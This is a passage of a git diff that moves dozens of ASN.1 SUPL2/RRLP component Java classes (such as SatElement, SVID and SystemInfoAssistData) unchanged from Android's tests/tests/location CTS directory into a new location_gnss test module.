rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel5_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel7_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_AssistanceData_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_Ext_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel98_MsrPosition_Req_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelDistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelDistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelDistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_5_ProtocolError_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_7_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Rel_98_MsrPosition_Rsp_Extension.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelativeAlt.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RelativeAlt.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RelativeAlt.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequestIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequestIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequestIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequiredResponseTime.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RequiredResponseTime.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RequiredResponseTime.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RoughRTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RoughRTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/RoughRTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASclockModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SBASclockModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SBASclockModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SVID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SVID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SVID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatStatus.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatStatus.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatStatus.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatelliteID.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SatelliteID.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SatelliteID.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAcquisElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfBadSignalElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSExtensionSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfDGANSSSgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSAlmanacElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSGenericAssistDataElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefMeasurementElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSRefOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSSatelliteElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSSTimeModel.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGANSS_SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPSRefOrbit.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGPS_MsrSetElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfGanssDataBitsElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfMsrAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfNavModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_FirstSetMsrs_R98_Ext.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrElementRest.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfOTD_MsrsOfOtherSets.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfReferenceIdentityType.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSatElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSatElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSatElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfStandardClockModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOfSystemInfoAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_BadSatelliteSet.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SeqOf_GANSSDataBits.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/Seq_OfGANSSDataBitsSgn.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SgnTypeElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SgnTypeElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SgnTypeElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SpecificGANSSAssistance.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StandardClockModelElement.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StandardClockModelElement.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StandardClockModelElement.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StdResolution.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/StdResolution.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/StdResolution.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistBTS_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoAssistData_R98_ExpOTD.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoIndex.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/SystemInfoIndex.java
rename to tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/SystemInfoIndex.java
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java b/tests/location/location_gnss/src/android/location/cts/gnss/asn1/supl2/rrlp_components/TA0.java
similarity index 100%
rename from tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/TA0.java
